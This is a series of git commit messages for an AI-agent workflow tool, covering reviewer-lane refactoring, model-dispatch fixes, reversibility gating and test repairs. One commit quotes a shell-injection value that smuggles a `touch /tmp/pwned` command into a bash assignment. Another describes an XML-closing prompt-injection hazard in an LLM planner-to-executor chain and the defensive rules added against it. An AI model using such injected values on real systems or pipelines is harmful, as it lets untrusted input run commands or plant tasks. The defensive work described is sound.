* test(#2943): widen parity-guard scan surface to docs/ (isolated-review finding)

The isolated adversarial review flagged that SCAN_DIRS omitted docs/, which
ships docs/AGENTS.md — agent-consumed prose carrying 8 mcp__context7__* refs.
No false negative today (it uses only the wildcard), but a future banned-name
addition there would slip through, recreating the exact drift this guard exists
to prevent. Add docs/ to the scan surface, with an EXCLUDED_FILES set for
historical record (docs/RELEASE-NOTES-LEGACY.md, CHANGELOG.md) that must not be
rewritten to satisfy the guard.

* fix(#2943): update shifted PROSE_ALLOWLIST line + acknowledge gsd-executor.md growth

The gsd-test gate caught two real consequences of the rationale rewrite in
agents/gsd-executor.md (the +2-line corrected mechanism description shifted
line numbers below it):

1. tests/no-bare-gsd-tools-command-position.test.cjs: the legitimate
   'gsd-tools query commit' descriptive mention moved from line 791 -> 793.
   Update the PROSE_ALLOWLIST entry to the new line (the mention is unchanged,
   just relocated by my edit above it). Without this the gate reports both a
   stale allowlist entry (791) and a new offender (793) for the same mention.
2. tests/emitted-drift-acks/2943-context7-tool-name.json: gsd-executor.md grew
   95 bytes (the accurate mechanism rationale is longer than the wrong one-line

3af1941948 fix(#2772): resolve four discuss-phase text inconsistencies (dead MAX_PASSES read, gate-prompts drift, circular auto_advance, answer_validation drift) (#2886)
* test(#2772): structural guards for the four discuss-phase text inconsistencies

* fix(#2772): resolve four discuss-phase text inconsistencies

1. auto.md: remove the dead MAX_PASSES/max_discuss_passes config read (contradicted
   the mandated single-pass rule + wasted a shim invocation per auto run).
2. gate-prompts.md: context-handling options now match the actual check_existing flow
   (Update it | View it | Skip, not Overwrite|Append|Cancel); gray-area-option no longer
   mandates 'Let Claude decide' (contradicts discuss-phase.md's no-cop-out rule).
3. discuss-phase.md: auto_advance fallback ends the workflow instead of routing back to
   the already-run confirm_creation step (circular).
4. discuss-phase-assumptions.md: re-sync answer_validation to the parent canonical block
   (had drifted — lost the 'Other' empty-text branch).

* chore(#2772): changeset fragment

* fix+test(#2772): also fix the assumptions auto_advance circularity (review minor 1) + add positive test anchors (review minor 2)

The sibling discuss-phase-assumptions.md had the identical auto_advance→confirm_creation
circularity; fix it the same way (end the workflow). Add positive anchors to both
auto_advance tests so a re-phrased regression can't slip past. File #2885 for the dead
max_discuss_passes config still advertised in settings/registry/docs (review minor 3).

* fix(#2772): keep discuss-phase.md under the 32000B #717 cap + ack assumptions growth

The auto_advance fixes + the assumptions answer_validation re-sync grew both files
past the emitted-attribution gate (and discuss-phase.md past the #717 32000B cap).
Condense the auto_advance prose in both files (discuss-phase.md now net -11, under
cap; auto.md already net -4650 from the MAX_PASSES shim removal). Add
discuss-phase-assumptions.md to tests/emitted-drift-ack.json for its residual +220
(answer_validation re-sync + auto_advance fix).

3f6b063fbb chore(#2799): invoke_reviewers and write_reviews iterate declared lanes (#2861)
* chore(#2799): resolve reviewer lanes into executable invocation plans

Phase 5b of ADR-2782. Adds the resolver and runner that let invoke_reviewers
iterate declared lanes instead of hand-authored per-CLI bash.

Five additive descriptor amendments, each forced by a lane that ships today:
- LaneHandler gains 'opencode' — the lane rebuilds its review from assistant
  text parts of a --format json stream; a plain stdout copy re-breaks #1936.
- modelConfigKey — antigravity's key is review.models.agy, not .antigravity,
  so resolving by slug silently dropped a configured model.
- defaultHost/fallbackModel — Phase 4 federated every *_host with a default of
  empty string; the real fallback only existed in the bash.
- args becomes an argv template with a closed four-placeholder vocabulary.
  Positional splicing produced 'codex --model M -o F exec --ephemeral', which
  is not a valid invocation: codex injects in the middle, twice.
- kimi-code lane, with the bounded command-capability probe (needle
  --output-format) that tells Kimi Code from the legacy python kimi-cli.

Parity gate re-pointed: the workflow-text families it scanned are the text this
phase deletes, so they are replaced by descriptor-to-registry parity plus an
anti-parity check that no bespoke leg returns.

jq, curl and external timeout/gtimeout all drop out of the review path.

Refs #2782

* chore(#2799): add review-lane query surface and widen the manifest vocabulary

Adds the gsd-tools 'review-lane' route (plan/invoke/sections) the workflow
loops over, projects all twelve lanes into their capability manifests, and
widens capability-validator for the amendments.

opencode admitted to VALID_LANE_HANDLERS under the second arm of the enum's
own admission rule: one lane, justified by a documented upstream defect data
cannot express (#1936 — the agent can end its turn with zero output tokens and
--format default then drops the assistant text entirely).

Two bugs caught by an end-to-end stub run and fixed here:
- loadConfigResolved returns a provenance wrapper, not the config; using it
  directly resolved every key to undefined, which reads as 'nothing
  configured' and silently dropped every model override.
- hasBinary used shell:true with an args array (Node 26 DEP0190). Replaced
  with a PATH scan that spawns nothing at all.

Refs #2782

* chore(#2799): iterate declared lanes in invoke_reviewers and write_reviews

Replaces the eleven hand-authored per-CLI bash legs with a loop over resolved
lanes, and renders REVIEWS.md sections from each lane's declared
reviewsSection instead of thirteen hardcoded headings. review.md drops from
1104 lines to 507 (61KB to 28.7KB).

Parity gate re-pointed, as agreed: the leg-marker and section-heading families
scanned exactly the text this phase deletes, so they are replaced by
descriptor-to-registry parity in both directions, plus an anti-parity check
that fires if a bespoke leg is ever re-added. Enum, emitting sites and the
Object.keys lock moved together.

The budget-trim helper is hoisted out of the Ollama leg: it was always
lane-agnostic, and any lane may now declare a promptBudgetKey.

Refs #2782

* feat(#2799): bind the consented egress host and re-verify it at invocation

Completes ADR-2782 D5. Rule 1 was recorded in the ADR as delivered by Phase 3
but was not implemented: ConsentRecord had no host field and nothing in the
tree bound one, so this phase's rule-4 comparison had no baseline.

ConsentRecord gains an OPTIONAL reviewerHost. Optional is the whole design:
isValidConsentRecord does not require it, so every record already on disk
stays valid and no re-consent storm fires (D4 rule 5). It is deliberately
excluded from disclosureSignature — the loader has no config resolver, so
folding a config-derived value in would make loader and lifecycle compute
different signatures for the same manifest and re-prompt forever.

Install resolves hostConfigKey (falling back to the lane's declared
defaultHost, which is what the invocation path uses) and records it.
Invocation re-resolves and blocks on mismatch rather than silently
redirecting. Absence allows: no record, or a record predating the field,
means nothing to compare — denying there would break every existing
local-model user on upgrade.

Refs #2782

* test(#2799): cover the resolver, runner and handlers; retarget the parity suites

Adds the golden invocation-plan table (one row per shipped lane, derived from
the bash legs rather than the descriptor types) plus runner coverage for the
probe, empty-output policy, the three handlers and the egress check.

Retargets the existing suites onto the new contract: descriptor-to-registry
parity, the anti-parity check, the opencode handler, and the twelfth lane.

Two corrections found by running them:
- modelConfigKey was required; that breaks D4 rule 2, since a reviewer
  manifest authored before this phase would fail validation on upgrade. It is
  optional, read as null when absent.
- the antigravity non-zero-exit test pre-seeded the transcript, which asserted
  that a STALE entry leaks through — the exact bug the watermark prevents. The
  spawn now appends, as the real tool does.

Refs #2782

* fix(#2799): restore agy --add-dir and the self-report prompt in the handler

Retargeting the three legacy reviewer suites off the deleted bash surfaced two
real regressions in the port, both #2176:

- --add-dir was dropped. Without it agy's permission context never receives the
  cwd repo, so the agent anchors on its own scratch dir and reviews the plan
  text in isolation — the exact failure the Review Instructions forbid. It is
  capability-probed, because an older agy rejects the unknown flag outright and
  a lane that fails to start is worse than one running on the prompt anchor.
- the prompt lost the clause mandating a REVIEWED-WITHOUT-REPO-ACCESS
  self-report, which is what makes a blind review distinguishable from a
  grounded one. antigravity now builds its own prompt variant.

Also ports the #2073 mode-2 cli.log diagnostic, which was dropped: a pinned
model that 404s exits 0 with empty stdout AND an empty transcript, so agy's own
log is the only evidence that anything failed.

The three suites now assert against the plan and the handler instead of
matching fence text, so they no longer need allow-test-rule exemptions.

Refs #2782

* docs(#2799): document the declared lanes, the new flag, and dropped prerequisites

COMMANDS.md gains --kimi-code and replaces the jq-prerequisite paragraph,
which is now false: no lane requires jq, curl or an external timeout. Adds the
changed-egress-destination behavior, since a blocked lane is something a user
can hit.

CONFIGURATION.md records that the model config key is declared per lane rather
than derived from the flag — antigravity's is review.models.agy — and adds
review.models.kimi-code.

reviewer-instances.md now routes an instance through its lane's single
invocation seam instead of a copied per-adapter bash block, which is what lets
a cross-cutting fix reach instances for free. That required implementing the
--model/--agent/--as flags it documents; --model re-resolves through the lane's
argv template rather than splicing, so the flag lands where the lane declares
it rather than ahead of a subcommand.

CONTEXT.md glossary gains both new modules.

Refs #2782

* chore(#2799): drop the stale emitted-drift acknowledgment

The only entry was #2797's, acknowledging COMMENT-ONLY GROWTH in review.md.
That file now shrinks by ~32KB and every emitted hash that moved is
attributable to this diff, so the ack no longer explains anything. Removing
the last entry means removing the file: its presence is the alarm, and an
empty one signals nothing.

Verified by deleting it and re-running the attribution and provenance gates
plus lint:ci — all green without it.

Refs #2782

* docs(#2799): record the Phase 5b vocabulary widenings in ADR-2782

Five additive amendments, each forced by a lane that ships today, plus two
corrections the phase had to make rather than work around:

- D5 rule 1 was recorded as delivered by Phase 3 and was not implemented, so
  this phase's rule-4 comparison had no baseline. Recorded because an ADR
  asserting a rule was delivered is exactly what stops a later phase checking.
- The DEFECT.GENERATIVE-FIX gate is re-pointed: its workflow-text families
  scanned the text this phase deletes.

Also records that D7's 'skip the probe where no bounding mechanism exists'
carve-out is obsolete — in practice it meant the Antigravity lane ran unbounded
on every stock macOS host, which ships neither timeout nor gtimeout.

Refs #2782

* fix(#2799): close four defects found by adversarial review

Two confirmed bugs, both reproduced before fixing:

- resolveLanePlan was not total. An openai-http lane with a missing or
  non-object invoke dereferenced inv.hostConfigKey and threw, contradicting
  the module's own documented contract; the spawn branch guarded correctly and
  the http branch did not. The CLI seam resolves every selected lane in one
  map, so one malformed overlay manifest would have aborted the whole review
  rather than dropping its own lane. Guarded, plus a per-lane try/catch at the
  seam so a throw can never take down siblings.
- A reviewer-instance model was silently dropped for any lane declaring
  modelConfigKey null (cursor, qwen, coderabbit). reviewer_instances validates
  that cli is a known slug but never that the slug accepts a model, so a user
  could configure one, get a clean run, and never learn a different model
  reviewed their plan. Now warns explicitly.

Two hardening fixes:

- The slug is concatenated into artifact paths, so LANE_SLUG_RE is enforced in
  the resolver rather than inherited from a validator that does not run on this
  path — the module documents itself as the overlay-manifest trust boundary, so
  it should not depend on someone else having checked.
- normalizeHost mangled a scheme-less value: new URL('localhost:11434') parses
  with an empty hostname, so it became 'localhost://11434' and was compared and
  requested as if real. An empty hostname now means not-a-URL.

Also documents the one gap that cannot be closed here: the antigravity
watermark is keyed by workspace, so two concurrent reviews of the same repo
share a transcript. agy exposes no per-invocation id to filter on, so the
handler now states which half of its never-stale guarantee actually holds.

Refs #2782

* test(#2799): retarget the remaining eight review.md-asserting suites

The remote runner found 37 failures the local sweep missed (it hit the shell's
two-minute cap before reaching these). All eight extract per-CLI bash from
review.md that this phase deletes; each protects a real invariant, so each is
retargeted onto the plan, the runner or the handler rather than removed.

Three real defects surfaced by doing so:

- effort args never reached ANY lane. model-resolver.cjs exports no
  resolveExecution, so effortFor silently returned [] every time. Restored by
  calling the same bounded resolve-execution query the bash legs used — and
  NOT with --raw, which prints the resolved effort rather than the picked
  field, so claude got 'low' instead of '--effort low'.
- the timeout guidance lost 'a silent empty output is a timeout kill, not a
  crash' — the operator note that exists because of the Codex 0xc0000142
  misdiagnosis. Restored.
- the opencode handler dropped EMPTY assistant text parts. The shipped jq was
  , and  only substitutes for false/null — an empty
  string is truthy in jq and contributed a blank line. Found by a property
  test shrinking to ['', ''].

The opencode property suite no longer spawns jq at all, which deletes the
#2099 hang mechanism it was architected around rather than mitigating it.

Refs #2782

* fix(#2799): register the two new generated modules, and untrack them

The remote runner caught build output committed to git. Both new modules
compile from src/*.cts into gsd-core/bin/lib/*.cjs, and every sibling generated
that way is gitignored and eslint-ignored (ADR-457) - including Phase 1's own
review-lane-descriptor.cjs. Mine were neither, so repo-invariants' "each
bin/lib/*.cjs is linted xor ignored according to migration state" failed.

Registered both in .gitignore and eslint.config.mjs alongside the Phase 1
module, and dropped them from the index. Nothing about the shipped behaviour
changes; the artifacts are rebuilt by build:lib.

This is the new-.cts-module registration ripple, and it is the one part of it I
had not completed - the CONTEXT.md glossary and the inventory manifest were
already done.

1b41083220 enhance(#2151): probe interactive-control for loading and error states (#2575)
* feat(#2151): probe interactive-control for loading + error states

The ui-consideration-probe taxonomy mapped interactive-control to only
one consideration (long-text), so a control-only UI surface (e.g. a
theme toggle) lifted no loading or error consideration — the verifier
never asked what a control shows while its action is in flight or when
it fails, and a spec omitting those states could PASS.

Add 'interactive-control' to the loading and error entries' elements in
UI_TAXONOMY so control-only surfaces are probed for in-flight and
failure states. empty is deliberately excluded (a control is not
data-bearing; empty would be Goodhart noise). No new categories, no
cue-map change, no probe-core change — a widening within the closed
shape-rooted 8 (ADR-550), an independently-versionable predicate-
generator adapter (ADR-857).

Regenerated the reference-doc coverage table and the 19 golden-install-
parity fixtures (reference-doc hash). Regression test added first
(RED: interactive-control yielded only long-text; GREEN: now
error+loading+long-text).

Closes #2151

6fb832a93d fix(#2684): bind scan.md and ship.md model dispatch to fields their workflows resolve (#2710)
* test(#2684): failing-first guard for unbound model= dispatch placeholders

Extends the #2517 omit-on-inherit bucket with a behavioral binding guard: every
model="{X}" in a workflow must name a field that workflow actually binds — an
init-payload key (queried for real), a shell assignment, or a declared parse
field. scan.md ({resolved_model}) and ship.md ({balanced_model}) substitute
names nothing emits, so the orchestrator invents the value (ADR-1411).

Also pins the shipped reference that seeded the placeholder and instructs the
#2517-forbidden model="inherit".

RED expected on scan.md, ship.md, and references/model-profile-resolution.md.

* fix(#2684): bind scan.md and ship.md model dispatch to fields their workflows resolve

scan.md:85 passed model="{resolved_model}" and ship.md:486 passed
model="{balanced_model}" — names neither workflow's init payload emits.
init.map-codebase emits mapper_model; init.phase-op emits no model field at
all. With no source for the substitution the orchestrator invents a value, so
model_overrides/model_policy are silently inert at both sites — the invisible
partial application ADR-1411 prohibits.

- scan.md: declare the init fields in a Parse JSON line and substitute
  {mapper_model}, matching its sibling map-codebase.md.
- ship.md: ref.agent is only known at runtime, so resolve it per hook via
  query resolve-model and dispatch with {HOOK_AGENT_MODEL}, following the
  same NAME=$(...) → model="{NAME}" convention every other shell-resolved
  dispatch in the corpus uses (code-review.md, secure-phase.md, ui-phase.md).
- Both sites now carry the #2517 rule: omit model= entirely when the resolved
  value is "inherit" or empty. A bare rename would have traded a dangling
  placeholder for model="", which 404s on non-Claude runtimes — an agent type
  absent from the profile table resolves to the empty string, which is exactly
  ship.md's case.
- references/model-profile-resolution.md was the seam: it shipped the
  copy-pasteable {resolved_model} snippet scan.md inherited, used the stale
  Task( spelling, and instructed passing model="inherit" outright. Rewritten
  to teach the real binding convention and the omit rule.

Two defects surfaced while fixing this and fixed inline rather than deferred:

1. ref.agent originates in a capability manifest, which may be third-party.
   Resolving it at runtime made this the first place that value reaches a
   shell command, so ship.md now validates its shape before interpolating and
   skips the hook when it fails — matching code-review.md's existing
   defense-in-depth pattern. Covered by a test that runs the shipped regex
   against real agent names and injection payloads.
2. The reference doc's omit example first placed a literal model= inside an
   Agent(...) comment, which tripped the #2284 fail-closed Hermes projection
   guard (bin/install.js:3704) and refused the install outright. Moved out of
   the call span; gen:golden is green across all 19 runtimes.

Guard tests extend the existing #2517 bucket: every model="{X}" in a workflow
must name a field that workflow binds — an init-payload key queried for real,
a shell assignment, or a declared parse field.

Behavior change (Hyrum's Law): the scan mapper now runs on the catalog-resolved
model rather than the session model. The omit path is unchanged. Disclosed in
the changeset body.

Fixes #2684

Claude-Session: https://claude.ai/code/session_01DPq9ovaovP2UvSVLjD4Lso

* fix(#2684): validate capability-supplied ref.agent in-context, not in the shell

The first cut of the ref.agent guard was placed after the injection point it
was meant to close. It instructed the orchestrator to substitute the untrusted
manifest value into a shell assignment and test it there:

    HOOK_AGENT="<the ref.agent value>"
    if [[ "$HOOK_AGENT" =~ ^[A-Za-z0-9][A-Za-z0-9._-]*$ ]]; then …

Substitution happens before bash parses anything, so a manifest supplying
`x"; touch /tmp/pwned; echo "` yields three statements and runs the middle one
unconditionally — the regex fires afterwards and protects nothing.

ship.md now requires the check to run in-context, the same way the workflow
already reads activeHooks ("do NOT pipe it through a shell parser"), and to
skip the hook outright on a mismatch. Only a value that has already matched
^[A-Za-z0-9][A-Za-z0-9._-]*$ ever reaches a command line. The guard test asserts
the ordering — the in-context requirement and the absence of any raw shell
assignment — not just that the pattern rejects metacharacters, since a pattern
alone was exactly what gave false assurance here.

Also corrects the empty-string explanation in references/model-profile-
resolution.md. model_profile:"inherit" resolves to the literal "inherit", not
"" (model-resolver.cts:395), and an unknown agent takes the empty-string path
via resolve_model_ids:"omit" rather than by absence alone — the doc claimed all
three produced "". The workflow instructions were already correct (omit on
"inherit" OR empty); only the rationale in the citable reference was wrong.

Both found by the isolated adversarial review pass for #2684.

6ad30f74b6 feat(#2584): Phase 3 — scheduler consumer + isolation adapters (#2635)
Final phase of #2584 (ADR-1239 Codex-binding amendment). execute-phase now negotiates dispatch.isolation and dispatches through the matching adapter, so a wave's independent plans run concurrently on six runtimes instead of one — with no runtime=== branch in the scheduler.

harness-worktree passes the host's declared isolation flag (claude, cursor); orchestrator-worktree creates the worktree via the Phase-2 verb and spawns the executor into it with the resolved argv/cwd (codex, opencode, kimi, kimi-code); none stays sequential. Undeclared/unknown/unresolvable isolation degrades to none — never an unisolated parallel run.

Fixes two shipped Phase-2 descriptors that per-host research found would fail at spawn: kimi lacked its headless flag (would launch the interactive TUI and hang the orchestrator), and kimi-code named a non-existent binary (Kimi Code installs as 'kimi'). Adds the worktree-path root confinement Phase 2 deferred here, and leading-dash guards on the resolver's prompt/cwd matching the existing git-argument guard.

c5e0371775 feat(#1951): reversibility tagging — gate one-way-door decisions (#2471)
* test(#1951): add failing-first tests for reversibility tagging

Red phase for issue #1951 (reversibility tagging: classify decisions by
undo cost, gate one-way doors behind a checkpoint:decision).

Tests assert, per the issue's acceptance criteria:
- discuss-phase CONTEXT.md template records a **Reversibility:** field with
  a rationale on captured decisions, and states it is optional
- gsd-planner @-references planner-reversibility.md and stays under the
  49152-char agent cap (LARGE_CAP, tests/agent-size-budget.test.cjs)
- a one-way rating inserts a checkpoint:decision before the dependent task;
  reversible inserts none; costly is flagged but never blocks
- the taxonomy defaults to reversible when unsure (checkpoint-fatigue guard)
  and inserting a checkpoint implies autonomous: false
- docs/reference/plan-md.md documents <reversibility> as optional with all
  three ratings
- --no-reversibility-gates parses to REVERSIBILITY_GATES=false, is injected
  into the planner prompt, and is advertised in the command argument-hint
  and help full mode (argument-hint parity)
- the override suppresses the gate but still persists the rating
- cmdVerifyPlanStructure accepts every rating and the absent case
  (additive-validator guarantee, behavioral via runGsdTools)
- parity: thinking-models-planning.md #4 adopts the canonical three-level
  taxonomy and the binary REVERSIBLE/IRREVERSIBLE vocabulary is gone
- no content loss from the planner extraction made to fit under the cap

Prose-contract assertions are Red until the implementation lands. The
behavioral validator assertions pass immediately — regression guards
proving the validator already accepts unknown optional tags.

* feat(#1951): reversibility tagging — gate one-way-door decisions

Classify planning decisions by what undoing them would cost, and give a
one-way door a human beat before the agent walks through it (issue #1951,
The Pragmatic Programmer Topic 15 'Reversibility'; Bezos's one-way/two-way
door framing).

Acceptance criteria met:
- discuss-phase records an optional reversibility rating with a rationale
  on <decisions> entries in the phase CONTEXT.md template. Unrated
  decisions are treated as reversible, so existing phases are unaffected.
- a one-way rating makes gsd-planner insert a checkpoint:decision before
  the task that implements the decision, reusing the existing checkpoint
  mechanism -- no new checkpoint machinery.
- reversible ratings trigger no checkpoint; costly ratings are flagged in
  the plan but never block.
- the rating persists on the task as the optional <reversibility rating=>
  element. cmdVerifyPlanStructure accepts every rating and the absent
  case; the structural validator does not reject unknown optional tags.
- --no-reversibility-gates (REVERSIBILITY_GATES=false) suppresses
  checkpoint insertion for intentionally-unattended runs while still
  recording ratings -- the override changes what stops the run, not what
  the plan remembers.

Single taxonomy, not two: references/thinking-models-planning.md #4
already shipped a binary REVERSIBLE/IRREVERSIBLE classification and is
loaded by both gsd-planner and gsd-plan-checker. It is rewritten onto the
canonical three-level vocabulary and now points at planner-reversibility.md
as the taxonomy owner, with a parity test that fails if the surfaces
diverge (DEFECT.GENERATIVE-FIX-DIVERGENCE).

agents/gsd-planner.md sat 47 chars under the 49152 LARGE_CAP, so the
checkpoint DO/DON'T guidance was relocated verbatim into
planner-antipatterns.md -- already @-referenced from the same section for
the same topic, so the planner still loads it and nothing was dropped. A
test guards the relocation against content loss.

Files: gsd-core/references/planner-reversibility.md (NEW, canonical
taxonomy + emission rules + anti-patterns), gsd-planner.md, plan-phase
workflow/command/help (flag wiring + parity), plan-md.md schema,
discuss-phase context template, CONTEXT.md glossary, INVENTORY + manifest,
size baselines, install goldens, plugin skills regen, changeset.

Closes #1951

* fix(#1951): address orthogonal review findings

Two isolated reviewers (correctness + security), neither of which authored
the change. Every finding fixed:

Security — the rationale is untrusted input (ADR-1577). It originates in
conversation and flows CONTEXT.md -> planner -> PLAN.md -> executor, each
hop an LLM reading the previous hop's output, with no validation on the
path. planner-reversibility.md and the discuss-phase template now state
it is data and never instructions, and name the </reversibility>
early-termination hazard explicitly -- a rationale that closes its own
element injects sibling structure the executor reads as real tasks.
Four tests guard it.

Correctness 1 — nothing machine-enforced the feature's own promise: a task
rated one-way with no preceding checkpoint:decision validated as fully
clean, so a planner error silently reopened the gap this feature exists to
close. cmdVerifyPlanStructure now warns on an ungated one-way rating. A
warning, not an error: <reversibility> stays additive and the plan stays
valid. Four tests cover ungated (warns), gated (silent), still-valid, and
reversible/costly never flagged.

Correctness 2 — pass-always test. The --no-reversibility-gates parse test
substring-matched the whole workflow file, and plan-phase.md prose mentions
both tokens in one sentence, so it passed with the bash conditional
deleted: it was testing the documentation, not the parser. Now scoped to
the fenced bash blocks and matched as one physical line, with a negative
control confirming prose alone cannot satisfy it.

Correctness 3 — costly had no itemized emission rule, only one-way did, so
two agents could diverge on whether to tag costly at all.

Correctness 4 — template convention break: the example ratings were bare
while every sibling field uses [...] to signal substitution, inviting an
LLM to copy one-way/costly forward as boilerplate. Now bracketed.

Correctness 5 — latent false-green: .includes('reversible') also matches
inside irreversible/irreversibility, which appear in anti-pattern
prose, so a surface that dropped the real taxonomy entry would still pass.
Now word-boundary matched.

ADR-857 phase-6 ceiling — the first gsd-test run caught plan-phase.md
1216 bytes over its frozen 94519 ceiling (it had 49 bytes of headroom on
next). The ceiling may only rise for privileged host machinery, and
reversibility gating is optional-feature logic, so the wiring was slimmed
to its minimum and the explanatory prose moved to the reference files the
planner already loads. plan-phase.md is now 94400 bytes -- 119 under the
ceiling and 70 bytes SMALLER than on next, so the host loop shrank while
gaining the feature, which is what phase 6 ratchets toward. The tracer
contract (tests/tracer-bullet.test.cjs) is unchanged.

Lint — fixed an unnecessary non-null assertion in verify.cts and a
CRLF-fragile bare \n regex in the new test (DEFECT.WINDOWS-CRLF-TEST-
PORTABILITY, the #1658/#1668/#2206/#2449/#2450 class).

* test(#1951): checkpoint fixture must carry the common task elements

The gated-one-way fixture built a checkpoint:decision task from the
abbreviated skeleton in gsd-planner.md, which shows only the
checkpoint-specific elements (<decision>/<context>/<resume-signal>).
cmdVerifyPlanStructure requires <name> and <action> on EVERY task
regardless of type, so the fixture failed validation for reasons that had
nothing to do with reversibility:

  errors: ["Task missing <name> element", "Task 'unnamed' missing <action>"]

Caught by gsd-test on 14d14a39 (2 failures, both this fixture).

The canonical shape is in tests/verify.test.cjs:266 — a checkpoint task
carries <name>/<files>/<action>/<verify> like any other. Fixture corrected
to match. Verified behaviorally against the real gsd-tools CLI across all
four cases: gated one-way (valid, silent), ungated one-way (valid, warns),
costly (valid, silent), absent (valid, silent).

Not a product defect: the validator's every-task contract is intentional
and pre-existing, and docs/reference/plan-md.md scopes its required-element
list to type=auto/tracer only because those are the elements a planner must
author, not because checkpoints are exempt from <name>.

* chore(#1951): backfill changeset pr number to 2471

* fix(#1951): CodeQL incomplete-sanitization + prompt-injection scan collision

Both CI failures were real defects in code this PR added, not false
positives.

CodeQL js/incomplete-sanitization (high), reversibility-tagging.test.cjs:46 —
the namesRating helper built its regex with `rating.replace(/[-]/g, '\\-')`,
which escapes the hyphen but not backslash, so the escape was incomplete.
It was also unnecessary: `-` carries no special meaning outside a character
class. Replaced with a complete metacharacter escape (backslash included).
Word-boundary behavior verified unchanged across all three ratings — notably
that "irreversible" prose still does not satisfy a "reversible" match, which
is the false-green this helper exists to prevent.

Prompt injection scan — the checkpoint fixture used the human-verification
child element inside <verify>. That tag name is a fake-instruction-boundary
pattern in scripts/prompt-injection-scan.sh, and the scan runs over changed
files, so copying the shape from tests/verify.test.cjs (unflagged only
because it is not in this diff) tripped the gate. Switched to the documented
plain-prose <verify> form.

The first attempt at that fix failed the same gate a second time: the
comment explaining the collision quoted the offending tag literally. The
comment now names it in prose instead — the scanner does not care whether a
match is code or commentary, which is the whole point of the
DEFECT.PROMPT-INJECTION-SCAN-COLLISION note in CLAUDE.md.

Verified locally before push: scan reports 0 findings across 57 changed
files, eslint clean, and both fixtures still validate as designed (gated
one-way silent, ungated one-way warns, neither errors).

* test(#1951): record measured cost and halve gsd-tools spawns

The Windows shard 1/3 job timeout was traced to the sharding layer, not to
this PR's assertions — see #2472. Two contributing factors were this file's
own, and are fixed here.

1. tests/test-timings.json had no entry for reversibility-tagging.test.cjs,
   so scripts/run-tests.cjs weighted it at the table's median fallback
   (~315ms) for LPT chunk packing. It actually measures 5595ms — an 18x
   under-weight. Recorded the measured value from the green gsd-test run
   (max across the node22/node24 lanes, per gen-test-timings.cjs's
   convention). Only this one entry: a full regen churns 634 entries of
   run-to-run drift, and the table is explicitly advisory and un-gated, so
   a 637-line diff does not belong in a feature PR.

2. Each verifyPlan() spawns gsd-tools, which dominates this file's cost.
   Spawns cut from 9 to 6 with no coverage lost:
   - the ungated-one-way warning and its stays-valid assertion now share
     one plan instead of building the same plan twice;
   - the reversible/costly never-flagged-as-ungated test was strictly
     subsumed by the additive suite, which already runs those two ratings
     ungated and asserts no /reversibilit/ warning at all — and the gate
     warning's text contains both "reversibility" and "one-way", so the
     broader assertion catches it. It only re-spawned gsd-tools twice to
     prove the same thing.

Both are symptom fixes. The shard imbalance itself (19/11/10 minutes
against a 20-minute cap, from a cost-blind round-robin partition that also
reshuffles downstream files whenever one is inserted) is tracked in #2472.

* test(#1951): checkpoint fixture adopts the #2444 type-branched contract

Surfaced by rebasing onto next, which gained #2444 (branch plan-structure
validation on task type=checkpoint:*) while this PR was in review.

cmdVerifyPlanStructure no longer applies one required-element set to every
task. A checkpoint:decision now requires <name> + <resume-signal> +
<decision> + <options>, and is exempt from the <action>/<verify>/<done>/
<files> set that auto and tracer tasks carry. The gated-one-way fixture
predated that split and failed on the new requirement:

  errors: ["Task 'Task 0: Confirm the on-disk format' missing <options>"]

Fixture rewritten to mirror the checkpoint:decision contract exactly — real
<options> with two <option> children — rather than padding it with fields
checkpoints no longer need. That also drops the plain-prose <verify> the
earlier revision carried purely to dodge the prompt-injection scan; a
checkpoint task has no <verify> requirement at all, so the workaround is
moot.

Verified against the real gsd-tools CLI across all four cases: gated one-way
(valid, silent), ungated one-way (valid, warns), costly (valid, silent),
absent (valid, silent).
